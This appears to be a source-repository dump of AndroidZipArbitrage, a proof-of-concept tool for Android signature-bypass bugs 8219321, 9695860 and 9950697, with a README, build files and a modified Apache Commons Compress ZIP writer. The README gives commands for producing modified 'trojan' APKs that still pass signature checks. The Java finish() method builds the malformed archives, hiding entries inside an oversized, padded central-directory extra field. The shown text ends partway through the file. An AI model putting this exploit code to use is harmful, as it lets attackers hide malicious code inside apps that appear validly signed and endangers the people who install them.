├── .gitignore ├── Readme.md ├── bin └── AndroidZipArbitrage.jar ├── example └── apks │ ├── bug9695860.apk │ ├── bug9950697.apk │ ├── modded.apk │ ├── moddedClassesDex.zip │ └── orig.apk ├── project ├── Build.scala ├── build.properties └── plugins.sbt └── src └── main ├── java └── org │ └── apache │ └── commons │ └── compress │ └── archivers │ └── zip │ ├── ModdedZipArchiveEntry.java │ └── ModdedZipArchiveOutputStream.java └── scala ├── android └── zip │ └── arbitrage │ ├── FileInjector.scala │ ├── Main.scala │ └── MasterKeysAPK.scala └── utils ├── CryptoHelper.scala ├── FileHelper.scala └── ZipFile.scala /.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | *~ 3 | *.iml 4 | .classpath 5 | .cache 6 | .project 7 | .idea/ 8 | .idea_modules/ 9 | *.DS_Store 10 | out/ 11 | *.db.bak 12 | *.db 13 | *.conf 14 | .vagrant 15 | tmp/ 16 | cookbooks/ 17 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | Zip File Arbitrage 2 | =================== 3 | 4 | This project includes a proof of concept for Android bug 8219321, 9695860, and 9950697 5 | ## Android bug 9950697 6 | 7 | This bug is the newest and also the most exploitable. ZipArbitrage uses this bug by default. General idea here is: it was assumed that the length of the filename (and the filename) is the same in both the local file header as well as the central directory. Description of its workings [here](http://www.saurik.com/id/19). 8 | 9 | This bug is a bit more limited 10 | - Files must already exist in original APK 11 | - Filename + original filelength < 64K 12 | - New fileLength < original filelength 13 | 14 | Run it as: 15 | ``` 16 | java -jar bin/AndroidZipArbitrage.jar Orig.apk modifiedAPK.apk 17 | ``` 18 | Fix commited here: 19 | ``` 20 | commit 2da1bf57a6631f1cbd47cdd7692ba8743c993ad9 21 | Author: Elliott Hughes 22 | Date: Sun Jul 21 14:34:12 2013 -0700 23 | 24 | Fix ZipFile local file entry parsing. 25 | 26 | The file name length is given in both the central directory entry 27 | and the local file entry, with no consistency check. ZipInputStream 28 | and the VM's native code both use the local file entry's value but 29 | ZipFile was using the value from the central directory. 30 | 31 | This patch makes ZipFile behave like the other two. (Even though, 32 | unlike the others, ZipFile actually has enough information to detect the 33 | inconsistency and reject the file.) 34 | 35 | Bug: https://code.google.com/p/android/issues/detail?id=57851 36 | Bug: 9950697 37 | Change-Id: I1d58ac523ad2024baff1644d7bf822dae412495d 38 | (cherry picked from commit 257d72c1b3a69e0af0abe44801b53966dbf7d214) 39 | 40 | diff --git a/luni/src/main/java/java/util/zip/ZipFile.java b/luni/src/main/java/java/util/zip/ZipFile.java 41 | index 2f9e3b0..832235e 100644 42 | --- a/luni/src/main/java/java/util/zip/ZipFile.java 43 | +++ b/luni/src/main/java/java/util/zip/ZipFile.java 44 | @@ -284,17 +284,20 @@ public class ZipFile implements Closeable, ZipConstants { 45 | throw new ZipException("Invalid General Purpose Bit Flag: " + gpbf); 46 | } 47 | 48 | - // At position 28 we find the length of the extra data. In some cases 49 | - // this length differs from the one coming in the central header. 50 | - is.skipBytes(20); 51 | - int localExtraLenOrWhatever = Short.reverseBytes(is.readShort()) & 0xffff; 52 | + // Offset 26 has the file name length, and offset 28 has the extra field length. 53 | + // These lengths can differ from the ones in the central header. 54 | + is.skipBytes(18); 55 | + int fileNameLength = Short.reverseBytes(is.readShort()) & 0xffff; 56 | + int extraFieldLength = Short.reverseBytes(is.readShort()) & 0xffff; 57 | is.close(); 58 | 59 | - // Skip the name and this "extra" data or whatever it is: 60 | - rafStream.skip(entry.nameLength + localExtraLenOrWhatever); 61 | + // Skip the variable-size file name and extra field data. 62 | + rafStream.skip(fileNameLength + extraFieldLength); 63 | + 64 | + // The compressed or stored file data follows immediately after. 65 | rafStream.length = rafStream.offset + entry.compressedSize; 66 | if (entry.compressionMethod == ZipEntry.DEFLATED) { 67 | - int bufSize = Math.max(1024, (int)Math.min(entry.getSize(), 65535L)); 68 | + int bufSize = Math.max(1024, (int) Math.min(entry.getSize(), 65535L)); 69 | return new ZipInflaterInputStream(rafStream, new Inflater(true), bufSize, entry); 70 | } else { 71 | return rafStream; 72 | ``` 73 | 74 | ## Android bug 9695860 75 | 76 | Jay Saurik found a very nice way to utilize bug 9695860. He describes it far better than I could [here](http://www.saurik.com/id/18). I did not implement the advanced interleaving that he mentions here, but I did implement the ability to have more or less entries in the trojan app. There are basically no limitations with this exploit. In addition, this bug is patched on way less devices than AndroidMasterKeys. 77 | 78 | The ```--9695860``` switch makes this tool use bug 9695860. 79 | 80 | Run it as: 81 | ``` 82 | java -jar bin/AndroidZipArbitrage.jar --9695860 Orig.apk modifiedAPK.apk 83 | ``` 84 | 85 | 86 | ## Android bug 8219321 aka Android Master Keys 87 | 88 | 89 | This is a POC example for Android bug 8219321 (master keys): 90 | - [Well Written Explaination by Al Sutton](https://plus.google.com/113331808607528811927/posts/GxDA6111vYy) 91 | - [CyanogenMod Bug Report](https://jira.cyanogenmod.org/browse/CYAN-1602) 92 | - [CyanogenMod Patch](http://review.cyanogenmod.org/#/c/45251/) 93 | - [Blue Boxes' teaser of Blackhat talk](http://bluebox.com/corporate-blog/bluebox-uncovers-android-master-key/) 94 | - [POF's original POC](https://gist.github.com/poliva/36b0795ab79ad6f14fd8) 95 | - [Rekey.io - A Root framework patcher](http://www.rekey.io/) 96 | 97 | Run it as: 98 | ``` 99 | java -jar bin/AndroidZipArbitrage.jar --8219321 Orig.apk modifiedAPK.apk 100 | ``` 101 | 102 | Please note that -most- ZIP libraries do not handle doing this properly. UNIX zip's append will not allow file name collisions. It may be able to be done in Python, but it's default ZipFile append method only will add files in non-compressed. 103 | 104 | The output from this [POC](https://gist.github.com/poliva/36b0795ab79ad6f14fd8) gives: 105 | ``` 106 | ➜ AndroidMasterKeys git:(master) unzip -vl pythonModdedApp.apk 107 | Archive: pythonModdedApp.apk 108 | Length Method Size Ratio Date Time CRC-32 Name 109 | -------- ------ ------- ----- ---- ---- ------ ---- 110 | 506712 Defl:N 196197 61% 07-08-13 21:53 81ab41c8 classes.dex 111 | 1664 Stored 1664 0% 07-08-13 21:51 db586380 AndroidManifest.xml 112 | 506720 Stored 506720 0% 07-08-13 21:51 1fee85e8 classes.dex 113 | 194 Stored 194 0% 07-08-13 21:51 463e5f86 library.properties 114 | 776 Stored 776 0% 07-08-13 21:51 be507dd3 META-INF/CERT.RSA 115 | 515 Stored 515 0% 07-08-13 21:51 1e40193c META-INF/CERT.SF 116 | 462 Stored 462 0% 07-08-13 21:51 de81958e META-INF/MANIFEST.MF 117 | 692 Stored 692 0% 07-08-13 21:51 d2d5c7bb res/layout/main.xml 118 | 856 Stored 856 0% 07-08-13 21:50 eac524bd resources.arsc 119 | 1761 Stored 1761 0% 07-08-13 21:51 e23c7570 rootdoc.txt 120 | -------- ------- --- ------- 121 | 1020352 709837 30% 10 files 122 | ``` 123 | 124 | This tool takes proper care to not duplicate any files, while at the same time making sure that all 'appended' files are also compressed. 125 | 126 | 127 | ``` 128 | unzip -vl AndroidMasterKeysModded.apk 129 | Archive: AndroidMasterKeysModded.apk 130 | Length Method Size Ratio Date Time CRC-32 Name 131 | -------- ------ ------- ----- ---- ---- ------ ---- 132 | 506712 Defl:N 195600 61% 07-08-13 21:53 81ab41c8 classes.dex 133 | 692 Defl:N 311 55% 07-08-13 21:51 d2d5c7bb res/layout/main.xml 134 | 1664 Defl:N 621 63% 07-08-13 21:51 db586380 AndroidManifest.xml 135 | 856 Stored 856 0% 07-08-13 21:50 eac524bd resources.arsc 136 | 506720 Defl:N 190564 62% 07-08-13 21:51 1fee85e8 classes.dex 137 | 194 Defl:N 144 26% 07-08-13 21:51 463e5f86 library.properties 138 | 1761 Defl:N 741 58% 07-08-13 21:51 e23c7570 rootdoc.txt 139 | 462 Defl:N 298 36% 07-08-13 21:51 de81958e META-INF/MANIFEST.MF 140 | 515 Defl:N 330 36% 07-08-13 21:51 1e40193c META-INF/CERT.SF 141 | 776 Defl:N 604 22% 07-08-13 21:51 be507dd3 META-INF/CERT.RSA 142 | -------- ------- --- ------- 143 | 1020352 390069 62% 10 files 144 | ``` 145 | 146 | To hack on the project download SBT run the following to build a jar: 147 | ``` 148 | sbt assembly 149 | ``` 150 | You can also add the gen-idea plugin and generate IntelliJ project files as well. 151 | -------------------------------------------------------------------------------- /bin/AndroidZipArbitrage.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Fuzion24/AndroidZipArbitrage/3d3540e01d19f39e08ada607eef848ea5e69f27a/bin/AndroidZipArbitrage.jar -------------------------------------------------------------------------------- /example/apks/bug9695860.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Fuzion24/AndroidZipArbitrage/3d3540e01d19f39e08ada607eef848ea5e69f27a/example/apks/bug9695860.apk -------------------------------------------------------------------------------- /example/apks/bug9950697.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Fuzion24/AndroidZipArbitrage/3d3540e01d19f39e08ada607eef848ea5e69f27a/example/apks/bug9950697.apk -------------------------------------------------------------------------------- /example/apks/modded.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Fuzion24/AndroidZipArbitrage/3d3540e01d19f39e08ada607eef848ea5e69f27a/example/apks/modded.apk -------------------------------------------------------------------------------- /example/apks/moddedClassesDex.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Fuzion24/AndroidZipArbitrage/3d3540e01d19f39e08ada607eef848ea5e69f27a/example/apks/moddedClassesDex.zip -------------------------------------------------------------------------------- /example/apks/orig.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Fuzion24/AndroidZipArbitrage/3d3540e01d19f39e08ada607eef848ea5e69f27a/example/apks/orig.apk -------------------------------------------------------------------------------- /project/Build.scala: -------------------------------------------------------------------------------- 1 | import sbt._ 2 | import Keys._ 3 | import sbtassembly.Plugin._ 4 | import AssemblyKeys._ 5 | 6 | object Versions { 7 | val scala = "2.10.3" 8 | val scalatest = "1.9.1" 9 | } 10 | 11 | object AndroidZipArbitrage extends Build { 12 | val projectName = "AndroidZipArbitrage" 13 | val projVer = "0.1" 14 | val mainClassName = "android.zip.arbitrage.Main" 15 | 16 | lazy val masterKeys = Project(projectName, file("."), settings = masterKeySettings) 17 | lazy val masterKeySettings = Defaults.defaultSettings ++ assemblySettings ++ Seq( 18 | name := projectName, 19 | version := projVer, 20 | scalaVersion := Versions.scala, 21 | jarName in assembly := projectName + ".jar", 22 | mainClass in assembly := Some(mainClassName), 23 | mergeStrategy in assembly <<= (mergeStrategy in assembly) { (old) => 24 | { 25 | case "application.conf" => MergeStrategy.concat 26 | case "reference.conf" => MergeStrategy.concat 27 | case "mime.types" => MergeStrategy.filterDistinctLines 28 | case PathList("org", "hamcrest", _ @ _*) => MergeStrategy.first 29 | case PathList("com", "google", "common", _ @ _*) => MergeStrategy.first 30 | case PathList("org", "xmlpull", _ @ _*) => MergeStrategy.first 31 | case PathList(ps @ _*) if ps.last.toLowerCase.startsWith("notice") || 32 | ps.last.toLowerCase == "license" || 33 | ps.last.toLowerCase == "license.txt" || 34 | ps.last.toLowerCase == "asm-license.txt" || 35 | ps.last.endsWith(".html") => MergeStrategy.rename 36 | case PathList("META-INF", xs @ _*) => 37 | (xs map {_.toLowerCase}) match { 38 | case ("manifest.mf" :: Nil) | ("index.list" :: Nil) | ("dependencies" :: Nil) => 39 | MergeStrategy.discard 40 | case ps @ (x :: xs) if ps.last.endsWith(".sf") || ps.last.endsWith(".dsa") => 41 | MergeStrategy.discard 42 | case "services" :: xs => 43 | MergeStrategy.filterDistinctLines 44 | case _ => MergeStrategy.deduplicate 45 | } 46 | case _ => MergeStrategy.deduplicate 47 | } 48 | }, 49 | libraryDependencies ++= Seq("com.github.scopt" %% "scopt" % "3.1.0", 50 | "org.scalatest" %% "scalatest" % Versions.scalatest % "test", 51 | "org.apache.commons" % "commons-compress" % "1.5"), 52 | mainClass in Compile := Some(mainClassName), 53 | aggregate in run := false 54 | ) 55 | } 56 | -------------------------------------------------------------------------------- /project/build.properties: -------------------------------------------------------------------------------- 1 | sbt.version=0.13.0 2 | -------------------------------------------------------------------------------- /project/plugins.sbt: -------------------------------------------------------------------------------- 1 | addSbtPlugin("com.eed3si9n" %% "sbt-assembly" % "0.10.0") 2 | -------------------------------------------------------------------------------- /src/main/java/org/apache/commons/compress/archivers/zip/ModdedZipArchiveEntry.java: -------------------------------------------------------------------------------- 1 | package org.apache.commons.compress.archivers.zip; 2 | 3 | public class ModdedZipArchiveEntry extends ZipArchiveEntry { 4 | 5 | private byte[] rawExtra = null; 6 | 7 | public ModdedZipArchiveEntry(String name){ 8 | super(name); 9 | rawExtra = new byte[]{}; 10 | } 11 | 12 | public byte[] getRawCentralDirectoryExtra(){ 13 | return rawExtra; 14 | } 15 | 16 | public void setRawCentralDirectoryExtra(byte[] rawExtra){ 17 | this.rawExtra = rawExtra; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/main/java/org/apache/commons/compress/archivers/zip/ModdedZipArchiveOutputStream.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one or more 3 | * contributor license agreements. See the NOTICE file distributed with 4 | * this work for additional information regarding copyright ownership. 5 | * The ASF licenses this file to You under the Apache License, Version 2.0 6 | * (the "License"); you may not use this file except in compliance with 7 | * the License. You may obtain a copy of the License at 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software 12 | * distributed under the License is distributed on an "AS IS" BASIS, 13 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | * See the License for the specific language governing permissions and 15 | * limitations under the License. 16 | * 17 | */ 18 | package org.apache.commons.compress.archivers.zip; 19 | 20 | import java.io.*; 21 | import java.nio.ByteBuffer; 22 | import java.util.*; 23 | import java.util.zip.CRC32; 24 | import java.util.zip.Deflater; 25 | import java.util.zip.ZipException; 26 | 27 | import org.apache.commons.compress.archivers.ArchiveEntry; 28 | import org.apache.commons.compress.archivers.ArchiveOutputStream; 29 | 30 | import static org.apache.commons.compress.archivers.zip.ZipConstants.DATA_DESCRIPTOR_MIN_VERSION; 31 | import static org.apache.commons.compress.archivers.zip.ZipConstants.DWORD; 32 | import static org.apache.commons.compress.archivers.zip.ZipConstants.INITIAL_VERSION; 33 | import static org.apache.commons.compress.archivers.zip.ZipConstants.SHORT; 34 | import static org.apache.commons.compress.archivers.zip.ZipConstants.WORD; 35 | import static org.apache.commons.compress.archivers.zip.ZipConstants.ZIP64_MAGIC; 36 | import static org.apache.commons.compress.archivers.zip.ZipConstants.ZIP64_MAGIC_SHORT; 37 | import static org.apache.commons.compress.archivers.zip.ZipConstants.ZIP64_MIN_VERSION; 38 | 39 | /** 40 | * Reimplementation of {@link java.util.zip.ZipOutputStream 41 | * java.util.zip.ZipOutputStream} that does handle the extended 42 | * functionality of this package, especially internal/external file 43 | * attributes and extra fields with different layouts for local file 44 | * data and central directory entries. 45 | * 46 | *

This class will try to use {@link java.io.RandomAccessFile 47 | * RandomAccessFile} when you know that the output is going to go to a 48 | * file.

49 | * 50 | *

If RandomAccessFile cannot be used, this implementation will use 51 | * a Data Descriptor to store size and CRC information for {@link 52 | * #DEFLATED DEFLATED} entries, this means, you don't need to 53 | * calculate them yourself. Unfortunately this is not possible for 54 | * the {@link #STORED STORED} method, here setting the CRC and 55 | * uncompressed size information is required before {@link 56 | * #putArchiveEntry(ArchiveEntry)} can be called.

57 | * 58 | *

As of Apache Commons Compress 1.3 it transparently supports Zip64 59 | * extensions and thus individual entries and archives larger than 4 60 | * GB or with more than 65536 entries in most cases but explicit 61 | * control is provided via {@link #setUseZip64}. If the stream can not 62 | * user RandomAccessFile and you try to write a ZipArchiveEntry of 63 | * unknown size then Zip64 extensions will be disabled by default.

64 | * 65 | * @NotThreadSafe 66 | */ 67 | public class ModdedZipArchiveOutputStream extends ArchiveOutputStream { 68 | 69 | static final int BUFFER_SIZE = 512; 70 | 71 | /** indicates if this archive is finished. protected for use in Jar implementation */ 72 | protected boolean finished = false; 73 | 74 | /* 75 | * Apparently Deflater.setInput gets slowed down a lot on Sun JVMs 76 | * when it gets handed a really big buffer. See 77 | * https://issues.apache.org/bugzilla/show_bug.cgi?id=45396 78 | * 79 | * Using a buffer size of 8 kB proved to be a good compromise 80 | */ 81 | private static final int DEFLATER_BLOCK_SIZE = 8192; 82 | 83 | /** 84 | * Compression method for deflated entries. 85 | */ 86 | public static final int DEFLATED = java.util.zip.ZipEntry.DEFLATED; 87 | 88 | /** 89 | * Default compression level for deflated entries. 90 | */ 91 | public static final int DEFAULT_COMPRESSION = Deflater.DEFAULT_COMPRESSION; 92 | 93 | /** 94 | * Compression method for stored entries. 95 | */ 96 | public static final int STORED = java.util.zip.ZipEntry.STORED; 97 | 98 | /** 99 | * default encoding for file names and comment. 100 | */ 101 | static final String DEFAULT_ENCODING = ZipEncodingHelper.UTF8; 102 | 103 | /** 104 | * General purpose flag, which indicates that filenames are 105 | * written in utf-8. 106 | * @deprecated use {@link GeneralPurposeBit#UFT8_NAMES_FLAG} instead 107 | */ 108 | @Deprecated 109 | public static final int EFS_FLAG = GeneralPurposeBit.UFT8_NAMES_FLAG; 110 | 111 | private static final byte[] EMPTY = new byte[0]; 112 | 113 | /** 114 | * Current entry. 115 | */ 116 | protected CurrentEntry entry; 117 | 118 | /** 119 | * The file comment. 120 | */ 121 | private String comment = ""; 122 | 123 | /** 124 | * Compression level for next entry. 125 | */ 126 | private int level = DEFAULT_COMPRESSION; 127 | 128 | /** 129 | * Has the compression level changed when compared to the last 130 | * entry? 131 | */ 132 | private boolean hasCompressionLevelChanged = false; 133 | 134 | /** 135 | * Default compression method for next entry. 136 | */ 137 | private int method = java.util.zip.ZipEntry.DEFLATED; 138 | 139 | /** 140 | * List of ZipArchiveEntries written so far. 141 | */ 142 | protected final List entries = 143 | new LinkedList(); 144 | 145 | /** 146 | * CRC instance to avoid parsing DEFLATED data twice. 147 | */ 148 | private final CRC32 crc = new CRC32(); 149 | 150 | /** 151 | * Count the bytes written to out. 152 | */ 153 | protected long written = 0; 154 | 155 | /** 156 | * Start of central directory. 157 | */ 158 | protected long cdOffset = 0; 159 | 160 | /** 161 | * Length of central directory. 162 | */ 163 | protected long cdLength = 0; 164 | 165 | /** 166 | * Helper, a 0 as ZipShort. 167 | */ 168 | private static final byte[] ZERO = {0, 0}; 169 | 170 | /** 171 | * Helper, a 0 as ZipLong. 172 | */ 173 | private static final byte[] LZERO = {0, 0, 0, 0}; 174 | 175 | /** 176 | * Holds the offsets of the LFH starts for each entry. 177 | */ 178 | protected final Map offsets = 179 | new HashMap(); 180 | 181 | /** 182 | * The encoding to use for filenames and the file comment. 183 | * 184 | *

For a list of possible values see http://java.sun.com/j2se/1.5.0/docs/guide/intl/encoding.doc.html. 186 | * Defaults to UTF-8.

187 | */ 188 | private String encoding = DEFAULT_ENCODING; 189 | 190 | /** 191 | * The zip encoding to use for filenames and the file comment. 192 | * 193 | * This field is of internal use and will be set in {@link 194 | * #setEncoding(String)}. 195 | */ 196 | private ZipEncoding zipEncoding = 197 | ZipEncodingHelper.getZipEncoding(DEFAULT_ENCODING); 198 | 199 | /** 200 | * This Deflater object is used for output. 201 | * 202 | */ 203 | protected final Deflater def = new Deflater(level, true); 204 | 205 | /** 206 | * This buffer serves as a Deflater. 207 | * 208 | */ 209 | private final byte[] buf = new byte[BUFFER_SIZE]; 210 | 211 | /** 212 | * Optional random access output. 213 | */ 214 | private final RandomAccessFile raf; 215 | 216 | private final OutputStream out; 217 | 218 | /** 219 | * whether to use the general purpose bit flag when writing UTF-8 220 | * filenames or not. 221 | */ 222 | private boolean useUTF8Flag = true; 223 | 224 | /** 225 | * Whether to encode non-encodable file names as UTF-8. 226 | */ 227 | private boolean fallbackToUTF8 = false; 228 | 229 | /** 230 | * whether to create UnicodePathExtraField-s for each entry. 231 | */ 232 | private UnicodeExtraFieldPolicy createUnicodeExtraFields = UnicodeExtraFieldPolicy.NEVER; 233 | 234 | /** 235 | * Whether anything inside this archive has used a ZIP64 feature. 236 | * 237 | * @since 1.3 238 | */ 239 | private boolean hasUsedZip64 = false; 240 | 241 | private Zip64Mode zip64Mode = Zip64Mode.AsNeeded; 242 | 243 | /** 244 | * Creates a new ZIP OutputStream filtering the underlying stream. 245 | * @param out the outputstream to zip 246 | */ 247 | public ModdedZipArchiveOutputStream(OutputStream out) { 248 | this.out = out; 249 | this.raf = null; 250 | } 251 | 252 | /** 253 | * Creates a new ZIP OutputStream writing to a File. Will use 254 | * random access if possible. 255 | * @param file the file to zip to 256 | * @throws IOException on error 257 | */ 258 | public ModdedZipArchiveOutputStream(File file) throws IOException { 259 | OutputStream o = null; 260 | RandomAccessFile _raf = null; 261 | try { 262 | _raf = new RandomAccessFile(file, "rw"); 263 | _raf.setLength(0); 264 | } catch (IOException e) { 265 | if (_raf != null) { 266 | try { 267 | _raf.close(); 268 | } catch (IOException inner) { // NOPMD 269 | // ignore 270 | } 271 | _raf = null; 272 | } 273 | o = new FileOutputStream(file); 274 | } 275 | out = o; 276 | raf = _raf; 277 | } 278 | 279 | /** 280 | * This method indicates whether this archive is writing to a 281 | * seekable stream (i.e., to a random access file). 282 | * 283 | *

For seekable streams, you don't need to calculate the CRC or 284 | * uncompressed size for {@link #STORED} entries before 285 | * invoking {@link #putArchiveEntry(ArchiveEntry)}. 286 | * @return true if seekable 287 | */ 288 | public boolean isSeekable() { 289 | return raf != null; 290 | } 291 | 292 | /** 293 | * The encoding to use for filenames and the file comment. 294 | * 295 | *

For a list of possible values see http://java.sun.com/j2se/1.5.0/docs/guide/intl/encoding.doc.html. 297 | * Defaults to UTF-8.

298 | * @param encoding the encoding to use for file names, use null 299 | * for the platform's default encoding 300 | */ 301 | public void setEncoding(final String encoding) { 302 | this.encoding = encoding; 303 | this.zipEncoding = ZipEncodingHelper.getZipEncoding(encoding); 304 | if (useUTF8Flag && !ZipEncodingHelper.isUTF8(encoding)) { 305 | useUTF8Flag = false; 306 | } 307 | } 308 | 309 | /** 310 | * The encoding to use for filenames and the file comment. 311 | * 312 | * @return null if using the platform's default character encoding. 313 | */ 314 | public String getEncoding() { 315 | return encoding; 316 | } 317 | 318 | /** 319 | * Whether to set the language encoding flag if the file name 320 | * encoding is UTF-8. 321 | * 322 | *

Defaults to true.

323 | */ 324 | public void setUseLanguageEncodingFlag(boolean b) { 325 | useUTF8Flag = b && ZipEncodingHelper.isUTF8(encoding); 326 | } 327 | 328 | /** 329 | * Whether to create Unicode Extra Fields. 330 | * 331 | *

Defaults to NEVER.

332 | */ 333 | public void setCreateUnicodeExtraFields(UnicodeExtraFieldPolicy b) { 334 | createUnicodeExtraFields = b; 335 | } 336 | 337 | /** 338 | * Whether to fall back to UTF and the language encoding flag if 339 | * the file name cannot be encoded using the specified encoding. 340 | * 341 | *

Defaults to false.

342 | */ 343 | public void setFallbackToUTF8(boolean b) { 344 | fallbackToUTF8 = b; 345 | } 346 | 347 | /** 348 | * Whether Zip64 extensions will be used. 349 | * 350 | *

When setting the mode to {@link Zip64Mode#Never Never}, 351 | * {@link #putArchiveEntry}, {@link #closeArchiveEntry}, {@link 352 | * #finish} or {@link #close} may throw a {@link 353 | * Zip64RequiredException} if the entry's size or the total size 354 | * of the archive exceeds 4GB or there are more than 65536 entries 355 | * inside the archive. Any archive created in this mode will be 356 | * readable by implementations that don't support Zip64.

357 | * 358 | *

When setting the mode to {@link Zip64Mode#Always Always}, 359 | * Zip64 extensions will be used for all entries. Any archive 360 | * created in this mode may be unreadable by implementations that 361 | * don't support Zip64 even if all its contents would be.

362 | * 363 | *

When setting the mode to {@link Zip64Mode#AsNeeded 364 | * AsNeeded}, Zip64 extensions will transparently be used for 365 | * those entries that require them. This mode can only be used if 366 | * the uncompressed size of the {@link ZipArchiveEntry} is known 367 | * when calling {@link #putArchiveEntry} or the archive is written 368 | * to a seekable output (i.e. you have used the {@link 369 | * #ModdedZipArchiveOutputStream(java.io.File) File-arg constructor}) - 370 | * this mode is not valid when the output stream is not seekable 371 | * and the uncompressed size is unknown when {@link 372 | * #putArchiveEntry} is called.

373 | * 374 | *

If no entry inside the resulting archive requires Zip64 375 | * extensions then {@link Zip64Mode#Never Never} will create the 376 | * smallest archive. {@link Zip64Mode#AsNeeded AsNeeded} will 377 | * create a slightly bigger archive if the uncompressed size of 378 | * any entry has initially been unknown and create an archive 379 | * identical to {@link Zip64Mode#Never Never} otherwise. {@link 380 | * Zip64Mode#Always Always} will create an archive that is at 381 | * least 24 bytes per entry bigger than the one {@link 382 | * Zip64Mode#Never Never} would create.

383 | * 384 | *

Defaults to {@link Zip64Mode#AsNeeded AsNeeded} unless 385 | * {@link #putArchiveEntry} is called with an entry of unknown 386 | * size and data is written to a non-seekable stream - in this 387 | * case the default is {@link Zip64Mode#Never Never}.

388 | * 389 | * @since 1.3 390 | */ 391 | public void setUseZip64(Zip64Mode mode) { 392 | zip64Mode = mode; 393 | } 394 | 395 | private ZipArchiveEntry generateRandomDummyZipEntry() { 396 | return new ZipArchiveEntry(UUID.randomUUID() + "/"); 397 | } 398 | 399 | public void finish(List normalEntries, List hiddenEntries) throws IOException { 400 | if (finished) { 401 | throw new IOException("This archive has already been finished"); 402 | } 403 | 404 | if (entry != null) { 405 | throw new IOException("This archive contains unclosed entries."); 406 | } 407 | 408 | final byte PADDING_BYTE = 0x00; 409 | 410 | if(hiddenEntries.size() > 0){ 411 | ByteArrayOutputStream centralHeaderBytes = new ByteArrayOutputStream(); 412 | 413 | for (ZipArchiveEntry ze : hiddenEntries) 414 | centralHeaderBytes.write(getCentralFileHeader(ze)); 415 | 416 | //Check if entries has less entries than hidden entries, if so create fakeones here.. 417 | int hiddenEntriesNeeded = normalEntries.size() - hiddenEntries.size(); 418 | 419 | for(int i = 0; i < hiddenEntriesNeeded; i++){ 420 | ZipArchiveEntry generatedZipEntry = generateRandomDummyZipEntry(); 421 | putArchiveEntry(generatedZipEntry); 422 | 423 | //TODO: Do I actually have to write data or does a 0 file work? 424 | write(generatedZipEntry.getName().getBytes()); 425 | closeArchiveEntry(); 426 | 427 | centralHeaderBytes.write(getCentralFileHeader(generatedZipEntry)); 428 | } 429 | 430 | ModdedZipArchiveEntry dummyFile = new ModdedZipArchiveEntry("META-INF/garbage"); 431 | 432 | putArchiveEntry(dummyFile); 433 | write("garbage".getBytes()); 434 | closeArchiveEntry(); 435 | 436 | //Make sure we overflow a signed short 437 | int paddingBytesNeeded = Short.MAX_VALUE - centralHeaderBytes.size(); 438 | 439 | for(int i = 0; i < paddingBytesNeeded + 1; i++) 440 | centralHeaderBytes.write(PADDING_BYTE); 441 | 442 | dummyFile.setRawCentralDirectoryExtra(centralHeaderBytes.toByteArray()); 443 | 444 | int normalEntriesNeeded = hiddenEntries.size() - normalEntries.size(); 445 | List gennedEntries = new ArrayList(); 446 | for(int i = 0; i < normalEntriesNeeded; i++){ 447 | ZipArchiveEntry generatedZipEntry = generateRandomDummyZipEntry(); 448 | putArchiveEntry(generatedZipEntry); 449 | 450 | write(generatedZipEntry.getName().getBytes()); 451 | closeArchiveEntry(); 452 | gennedEntries.add(generatedZipEntry); 453 | } 454 | 455 | cdOffset = written; 456 | 457 | writeCentralFileHeader(dummyFile); 458 | 459 | for(ZipArchiveEntry ze : gennedEntries) 460 | writeCentralFileHeader(ze); 461 | 462 | for(ZipArchiveEntry ze : normalEntries) 463 | writeCentralFileHeader(ze); 464 | 465 | } else { 466 | cdOffset = written; 467 | for (ZipArchiveEntry ze : normalEntries) 468 | writeCentralFileHeader(ze); 469 | } 470 | 471 | 472 | cdLength = written - cdOffset; 473 | writeZip64CentralDirectory(); 474 | writeCentralDirectoryEnd(Math.max(hiddenEntries.size(),normalEntries.size()) + (hiddenEntries.size() > 0 ? 1 : 0)); 475 | offsets.clear(); 476 | entries.clear(); 477 | def.end(); 478 | finished = true; 479 | } 480 | 481 | /** 482 | * {@inheritDoc} 483 | * @throws Zip64RequiredException if the archive's size exceeds 4 484 | * GByte or there are more than 65535 entries inside the archive 485 | * and {@link #setUseZip64} is {@link Zip64Mode#Never}. 486 | */ 487 | @Override 488 | public void finish() throws IOException { 489 | finish(entries, new ArrayList()); 490 | } 491 | 492 | /** 493 | * Writes all necessary data for this entry. 494 | * @throws IOException on error 495 | * @throws Zip64RequiredException if the entry's uncompressed or 496 | * compressed size exceeds 4 GByte and {@link #setUseZip64} 497 | * is {@link Zip64Mode#Never}. 498 | */ 499 | @Override 500 | public void closeArchiveEntry() throws IOException { 501 | if (finished) { 502 | throw new IOException("Stream has already been finished"); 503 | } 504 | 505 | if (entry == null) { 506 | throw new IOException("No current entry to close"); 507 | } 508 | 509 | if (!entry.hasWritten) { 510 | write(EMPTY, 0, 0); 511 | } 512 | 513 | flushDeflater(); 514 | 515 | final Zip64Mode effectiveMode = getEffectiveZip64Mode(entry.entry); 516 | long bytesWritten = written - entry.dataStart; 517 | long realCrc = crc.getValue(); 518 | crc.reset(); 519 | 520 | final boolean actuallyNeedsZip64 = 521 | handleSizesAndCrc(bytesWritten, realCrc, effectiveMode); 522 | 523 | if (raf != null) { 524 | rewriteSizesAndCrc(actuallyNeedsZip64); 525 | } 526 | 527 | writeDataDescriptor(entry.entry); 528 | entry = null; 529 | } 530 | 531 | /** 532 | * Ensures all bytes sent to the deflater are written to the stream. 533 | */ 534 | private void flushDeflater() throws IOException { 535 | if (entry.entry.getMethod() == DEFLATED) { 536 | def.finish(); 537 | while (!def.finished()) { 538 | deflate(); 539 | } 540 | } 541 | } 542 | 543 | /** 544 | * Ensures the current entry's size and CRC information is set to 545 | * the values just written, verifies it isn't too big in the 546 | * Zip64Mode.Never case and returns whether the entry would 547 | * require a Zip64 extra field. 548 | */ 549 | private boolean 